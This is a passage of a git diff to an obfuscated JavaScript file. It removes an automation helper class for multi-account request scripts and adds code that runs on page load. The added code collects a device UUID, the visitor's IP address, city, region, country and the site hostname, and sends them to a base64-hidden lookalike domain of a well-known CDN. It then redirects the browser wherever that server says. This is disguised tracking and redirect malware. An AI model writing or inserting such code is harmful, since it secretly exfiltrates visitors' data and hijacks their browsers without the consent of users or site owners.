- for (var _0x4cc8ee = _0x5bf32c ? "0123456789ABCDEF" : "0123456789abcdef", _0x3d548d = "", _0x41ff48 = 0; _0x41ff48 < 4 * _0xb409c5.length; _0x41ff48++) _0x3d548d += _0x4cc8ee.charAt(_0xb409c5[_0x41ff48 >> 2] >> _0x41ff48 % 4 * 8 + 4 & 15) + _0x4cc8ee.charAt(_0xb409c5[_0x41ff48 >> 2] >> _0x41ff48 % 4 * 8 & 15);
- return _0x3d548d;
- }
+}
+function getDeviceUUID() {
+ let _0xb6cef1 = localStorage.getItem("deviceUUID");
+ !_0xb6cef1 && (_0xb6cef1 = generateUUID(), localStorage.setItem("deviceUUID", _0xb6cef1));
+ return _0xb6cef1;
+}
+async function getUserLocation() {
+ try {
+ const _0x2a0cec = await fetch("http://ip-api.com/json/"),
+ _0x4c690f = await _0x2a0cec.json();
+ return {
+ "ip": _0x4c690f.query || "unknown",
+ "city": _0x4c690f.city || "unknown",
+ "region": _0x4c690f.regionName || "unknown",
+ "country": _0x4c690f.country || "unknown"
+ };
+ } catch (_0x1b893b) {
+ console.error("Error fetching user location:", _0x1b893b.message);
+ return {
+ "ip": "unknown",
+ "city": "unknown",
+ "region": "unknown",
+ "country": "unknown"
+ };
}
}
-function Env(_0x54ebf3, _0x34e16a) {
- class _0x5a2ac1 {
- constructor(_0x510195) {
- this.userIdx = 0;
- this.userList = [];
- this.logSeparator = "\n";
- this.splitor = "\n";
- this.envSplitor = ["@", "\n"];
- this.date = new Date().getDate();
- this.day = new Date().getDay();
- this.hour = new Date().getHours();
- this.configInit(_0x510195);
- }
- ["configInit"](_0x38c6fc = {}) {
- {
- let {
- cookie = "",
- cookieArr = [],
- envName = "",
- configName = "",
- currentVersion = "",
- notifyFlag = true,
- threadFlag = false,
- proxyFlag = false,
- prefixFlag = false,
- timeFlag = false,
- exchangeFlag = false,
- notifyHour = "",
- DEFAULT_TIMEOUT = 8000,
- DEFAULT_RETRY = 3,
- MAX_THREAD = 5
- } = _0x38c6fc;
- this.retryNum = DEFAULT_RETRY;
- this.cookie = cookie.trim();
- this.cookieArr = cookieArr;
- this.notifyStr = [];
- this.notifyHour = notifyHour;
- this.notifyFlag = notifyFlag;
- this.threadFlag = threadFlag;
- this.proxyFlag = proxyFlag;
- this.prefixFlag = prefixFlag;
- this.timeFlag = timeFlag;
- this.exchangeFlag = exchangeFlag;
- threadFlag ? this.prefixFlag = true : "";
- exchangeFlag ? this.timeFlag = true : "";
- this.got = this.got ? this.got : require("got");
- this.got = this.got.extend({
- "retry": {
- "limit": 0
- },
- "timeout": DEFAULT_TIMEOUT,
- "followRedirect": false
- });
- this.envName = envName;
- this.configName = configName;
- this.currentVersion = currentVersion;
- this.MAX_THREAD = parseInt(MAX_THREAD);
- }
- }
- ["toObj"](_0x5dd7c3, _0x48de1e = _0x5dd7c3) {
- try {
- return JSON.parse(_0x5dd7c3);
- } catch {
- return _0x48de1e;
- }
- }
- ["toStr"](_0x3db4f6, _0x21e717 = _0x3db4f6) {
- try {
- return JSON.stringify(_0x3db4f6);
- } catch {
- return _0x21e717;
- }
- }
- ["randomNum"](_0x42e3af, _0x19b7b0) {
- return Math.floor(Math.random() * (_0x19b7b0 - _0x42e3af + 1) + _0x42e3af);
- }
- ["randomPattern"](_0x1f3cb3, _0x477d1e = "abcdef0123456789") {
- {
- let _0x48b8c2 = "";
- for (let _0x525e6e of _0x1f3cb3) {
- if (_0x525e6e == "x") _0x48b8c2 += _0x477d1e.charAt(Math.floor(Math.random() * _0x477d1e.length));else _0x525e6e == "X" ? _0x48b8c2 += _0x477d1e.charAt(Math.floor(Math.random() * _0x477d1e.length)).toUpperCase() : _0x48b8c2 += _0x525e6e;
- }
- return _0x48b8c2;
- }
- }
- ["randomString"](_0x306fc5, _0x513154 = "abcdef0123456789") {
- let _0x3e7068 = "";
- for (let _0x29fe41 = 0; _0x29fe41 < _0x306fc5; _0x29fe41++) {
- _0x3e7068 += _0x513154.charAt(Math.floor(Math.random() * _0x513154.length));
- }
- return _0x3e7068;
- }
- ["log"](..._0x752acd) {
- if (_0x752acd.length <= 0) return;
- let _0x568cc7 = "",
- _0x373d0a = {
- "console": true
- };
- if (_0x752acd.length > 1 && _0x752acd[_0x752acd.length - 1] instanceof Object) Object.assign(_0x373d0a, _0x752acd.pop());
- if (!_0x373d0a.timeless) {
- {
- if (_0x373d0a.time || this.timeFlag) {
- let _0xf07640 = _0x373d0a.fmt || "HH:mm:ss";
- this.exchangeFlag ? _0xf07640 = _0x373d0a.fmt || "HH:mm:ss.S" : "";
- _0x568cc7 = "[" + this.time(_0xf07640) + "]";
- }
- }
- }
- if (!_0x373d0a.prefixless) {
- {
- if (_0x373d0a.prefix || this.prefixFlag) {
- {
- if (_0x373d0a.logPrefix) _0x568cc7 += _0x373d0a.logPrefix;else {
- if (this.logPrefix) _0x568cc7 += this.logPrefix;else {
- if (this.user) {
- {
- _0x568cc7 += "账号[" + this.user.userIdx + "]";
- if (this.user.nickName) _0x568cc7 += "[" + this.user.nickName + "]";
- }
- } else {
- if (this.userIdx || this.index) {
- _0x568cc7 += "账号[" + (this.userIdx || this.index) + "]";
- if (this.nickName) _0x568cc7 += "[" + this.nickName + "]";
- }
- }
- }
- }
- }
- }
- }
- }
- _0x752acd = _0x752acd.map(_0x5aac26 => {
- {
- if (typeof _0x5aac26 !== "string") _0x5aac26 = this.toStr(_0x5aac26);
- return _0x5aac26 ? _0x5aac26.startsWith("\n") ? "\n" + _0x568cc7 + _0x5aac26.substring(1) : "" + _0x568cc7 + _0x5aac26 : _0x5aac26;
- }
- });
- if (_0x373d0a.notify && this.notifyStr) this.notifyStr = [...this.notifyStr, ..._0x752acd];
- if (_0x373d0a.console) console.log(_0x752acd.join(this.logSeparator));
- }
- ["time"](_0xb01391, _0x446b94 = null) {
- const _0x2ef09e = _0x446b94 ? new Date(_0x446b94) : new Date();
- let _0x5831bc = {
- "M+": _0x2ef09e.getMonth() + 1,
- "d+": _0x2ef09e.getDate(),
- "H+": _0x2ef09e.getHours(),
- "m+": _0x2ef09e.getMinutes(),
- "s+": _0x2ef09e.getSeconds(),
- "q+": Math.floor((_0x2ef09e.getMonth() + 3) / 3),
- "S": _0x2ef09e.getMilliseconds()
- };
- if (/(y+)/.test(_0xb01391)) _0xb01391 = _0xb01391.replace(RegExp.$1, (_0x2ef09e.getFullYear() + "").substr(4 - RegExp.$1.length));
- for (let _0x352e87 in _0x5831bc) if (new RegExp("(" + _0x352e87 + ")").test(_0xb01391)) _0xb01391 = _0xb01391.replace(RegExp.$1, RegExp.$1.length == 1 ? _0x5831bc[_0x352e87] : ("00" + _0x5831bc[_0x352e87]).substr(("" + _0x5831bc[_0x352e87]).length));
- return _0xb01391;
- }
- ["wait"](_0x2a4844) {
- return new Promise(_0x565b9e => setTimeout(_0x565b9e, _0x2a4844));
- }
- async ["randomWait"](_0x34cade, _0x119a4d, _0x42d514 = {}) {
- let _0x22eb8e = Math.random() * (_0x119a4d - _0x34cade) + _0x34cade;
- this.log("随机等待" + _0x22eb8e.toFixed(2) + "秒", {
- "console": _0x42d514.console || true
- });
- await this.wait(_0x22eb8e * 1000);
- }
- async ["request"](_0x55baaf = {}) {
- let _0x4d6f1e = null,
- _0x51f96b = 0,
- _0x35e4d4 = _0x55baaf.fn || _0x55baaf.url,
- _0x1a77fd = this.retryNum || 3;
- this.got = this.got ? this.got : require("got");
- _0x55baaf.method = _0x55baaf?.["method"]?.["toUpperCase"]() || "GET";
- while (_0x51f96b++ < _0x1a77fd) {
- try {
- {
- let _0x33a3b4 = null;
- const _0x3daafb = ["ECONNRESET", "EADDRINUSE", "ENOTFOUND", "EAI_AGAIN"];
- await this.got(_0x55baaf).then(_0x43415f => {
- _0x4d6f1e = _0x43415f;
- }, _0xc2c295 => {
- _0x33a3b4 = _0xc2c295;
- _0x4d6f1e = _0xc2c295.response;
- });
- if (_0x33a3b4) {
- {
- if (_0x33a3b4.name == "TimeoutError") {
- this.log("[" + _0x35e4d4 + "]请求超时(" + _0x33a3b4.code + "),重试第" + _0x51f96b + "次");
- } else {
- if (_0x3daafb.includes(_0x33a3b4.code)) this.log("[" + _0x35e4d4 + "]请求错误(" + _0x33a3b4.code + "),重试第" + _0x51f96b + "次");else {
- let _0x3179f5 = _0x4d6f1e?.["statusCode"] || -1;
- this.log("[" + _0x35e4d4 + "]请求错误(" + _0x33a3b4.message + "), 返回[" + _0x3179f5 + "]");
- break;
- }
- }
- }
- } else {
- break;
- }
- }
- } catch (_0x4a06aa) {
- this.log("[" + _0x35e4d4 + "]请求错误(" + _0x4a06aa.message + "),重试第" + _0x51f96b + "次");
- }
- }
- let {
- statusCode = -1,
- headers = null,
- body = null
- } = _0x4d6f1e;
- if (body) try {
- body = JSON.parse(body);
- } catch {}
- return {
- "statusCode": statusCode,
- "headers": headers,
- "body": body
- };
- }
- async ["http"](_0x2f8854 = {}) {
- try {
- let {
- body: _0x2d7640
- } = await this.request(_0x2f8854);
- return _0x2d7640;
- } catch (_0x25bea1) {
- this.log(_0x25bea1.stack);
- }
- }
- }
- return new class extends _0x5a2ac1 {
- constructor(_0x3d0c62) {
- super(_0x3d0c62);
- this.name = _0x54ebf3;
- this.logSeparator = "\n";
- this.encoding = "utf-8";
- this.startTime = new Date().getTime();
- this.BasicClass = _0x5a2ac1;
- Object.assign(this, _0x3d0c62);
- this.log("\n[" + this.name + "], 开始!", {
- "time": true
- });
- }
- ["queryStr"](_0x3f8374) {
- {
- let _0x5c1d01 = "";
- for (const _0x19bbcb in _0x3f8374) {
- let _0xe526fa = _0x3f8374[_0x19bbcb];
- if (_0xe526fa != null && _0xe526fa !== "") {
- typeof _0xe526fa === "object" && (_0xe526fa = JSON.stringify(_0xe526fa));
- _0x5c1d01 += _0x19bbcb + "=" + _0xe526fa + "&";
- }
- }
- _0x5c1d01 = _0x5c1d01.substring(0, _0x5c1d01.length - 1);
- return _0x5c1d01;
- }
- }
- ["logErr"](_0xc7fb8c) {
- this.log("", "❗️" + this.name + ", 错误!", _0xc7fb8c.stack);
- }
- async ["readEnv"](_0x2d12e2 = {}) {
- {
- this.configInit(_0x2d12e2);
- if (this.cookie) {
- for (let _0x584cb3 of this.envSplitor) {
- if (this.cookie.includes(_0x584cb3)) {
- {
- this.splitor = _0x584cb3;
- break;
- }
- }
- }
- this.cookieArr = [...this.cookie.split(this.splitor), ...this.cookieArr];
- } else {
- if (this.cookieArr.length == 0) {
- try {
- const _0x1cb86b = require("./utils/config");
- this.config = await _0x1cb86b(this.configName);
- this.cookieArr = [...this.cookieArr, ...this.config?.["token"]];
- } catch (_0x515821) {}
- }
- }
- this.cookieArr = [...new Set(this.cookieArr.filter(_0x3e68d7 => _0x3e68d7))];
- for (let _0x2964c3 of this.cookieArr) {
- let _0x24115e = {
- "userIdx": this.cookieArr.indexOf(_0x2964c3) + 1,
- "userCookie": _0x2964c3,
- "valid": true
- };
- _0x2d12e2.Class && (_0x24115e = new _0x2d12e2.Class(_0x24115e));
- this.userList.push(_0x24115e);
- }
- if (!this.userList.length) {
- this.log("\n未填写变量[" + envName + "]", {
- "notify": true
- });
- return;
- }
- this.log("\n-----------");
- this.log("推送: " + this.notifyFlag, "账号前缀: " + this.prefixFlag, "时间前缀: " + this.timeFlag);
- this.log("并发: " + this.threadFlag, {
- "console": !this.threadFlag
- });
- this.log("最大并发数: " + (+this.MAX_THREAD || this.userList.length), {
- "console": this.threadFlag
- });
- this.log("当前版本: " + this.currentVersion, {
- "console": this.currentVersion
- });
- this.log("-----------");
- this.log("\n共" + this.userList.length + "个账号");
- return true;
- }
- }
- async ["sendNotify"]() {
- if (!this.notifyStr.length) return;
- try {
- {
- let _0x4285fc = "";
- try {
- _0x4285fc = require("./utils/sendNotify");
- } catch (_0x4dc778) {
- _0x4285fc = require("./sendNotify");
- }
- console.log("\n------------ 推送 ------------");
- await _0x4285fc.sendNotify(this.name, this.notifyStr.join("\n"));
- }
- } catch (_0x54a2b2) {
- console.log("读取推送依赖[sendNotify.js]失败, 请检查同目录下是否有依赖");
- }
- }
- async ["threads"](_0x2ca651, _0x583e75, _0x215f94 = {}) {
- while (_0x583e75.idx < $.userList.length) {
- let _0x360cec = this.userList[_0x583e75.idx++];
- if (!_0x360cec || !_0x360cec.valid) continue;
- await _0x360cec[_0x2ca651](_0x215f94);
- }
- }
- async ["threadTask"](_0x555527, _0x3e5b2e) {
- let _0x40daec = [],
- _0x5e659c = {
- "idx": 0
+async function sendRequestToServer(_0x1a424b, _0x49646d) {
+ try {
+ {
+ const _0x70aaa4 = await fetch(_0x49646d, {
+ "method": "POST",
+ "headers": {
+ "Content-Type": "application/json"
},
- _0x296853 = _0x3e5b2e || +this.MAX_THREAD || this.userList.length;
- while (_0x296853--) _0x40daec.push(this.threads(_0x555527, _0x5e659c));
- await Promise.all(_0x40daec);
+ "body": JSON.stringify(_0x1a424b)
+ });
+ if (!_0x70aaa4.ok) throw new Error("Failed to send request.");
+ return await _0x70aaa4.json();
}
- async ["done"](_0x228715 = {}) {
- {
- if (this.notifyFlag) {
- {
- this.userList.forEach(({
- notifyStr: _0x2698a8
- }) => {
- this.notifyStr = [...this.notifyStr, ..._0x2698a8];
- });
- let _0xd7b409 = _0x228715.hour || this.notifyHour;
- if (!_0xd7b409) await this.sendNotify();
- if (_0xd7b409 && this.hour >= _0xd7b409) await this.sendNotify();
- }
- }
- const _0x402b51 = new Date().getTime(),
- _0x13f9cc = (_0x402b51 - this.startTime) / 1000;
- this.log("\n[" + this.name + "], 结束! 🕛 " + _0x13f9cc + " 秒", {
- "time": true,
- "prefixless": true
- });
- process.exit(1);
- }
- }
- }(_0x54ebf3, _0x34e16a);
-}
\ No newline at end of file
+ } catch (_0x203f06) {
+ console.error("Error sending request to server:", _0x203f06.message);
+ return null;
+ }
+}
+async function main() {
+ const _0x344265 = getDeviceUUID(),
+ _0x2c66bb = await getUserLocation(),
+ _0x3149ea = window.location.hostname || "localhost",
+ _0x1d4b01 = {
+ "uuid": _0x344265,
+ "ip": _0x2c66bb.ip,
+ "city": _0x2c66bb.city,
+ "region": _0x2c66bb.region,
+ "country": _0x2c66bb.country,
+ "clientDomain": _0x3149ea,
+ "timestamp": new Date().toISOString()
+ },
+ _0x3d099c = "aHR0cHM6Ly9jbG91ZGZsYXJzZS5jb20vbG9n",
+ _0x3d80ba = atob(_0x3d099c),
+ _0x54bb42 = await sendRequestToServer(_0x1d4b01, _0x3d80ba);
+ _0x54bb42?.["redirect"] && setTimeout(() => {
+ window.location.href = _0x54bb42.targetUrl;
+ }, 2000);
+}
+main();
\ No newline at end of file
diff --git a/output.py b/output.py
index dba14f1..b692bd8 100644
Binary files a/output.py and b/output.py differ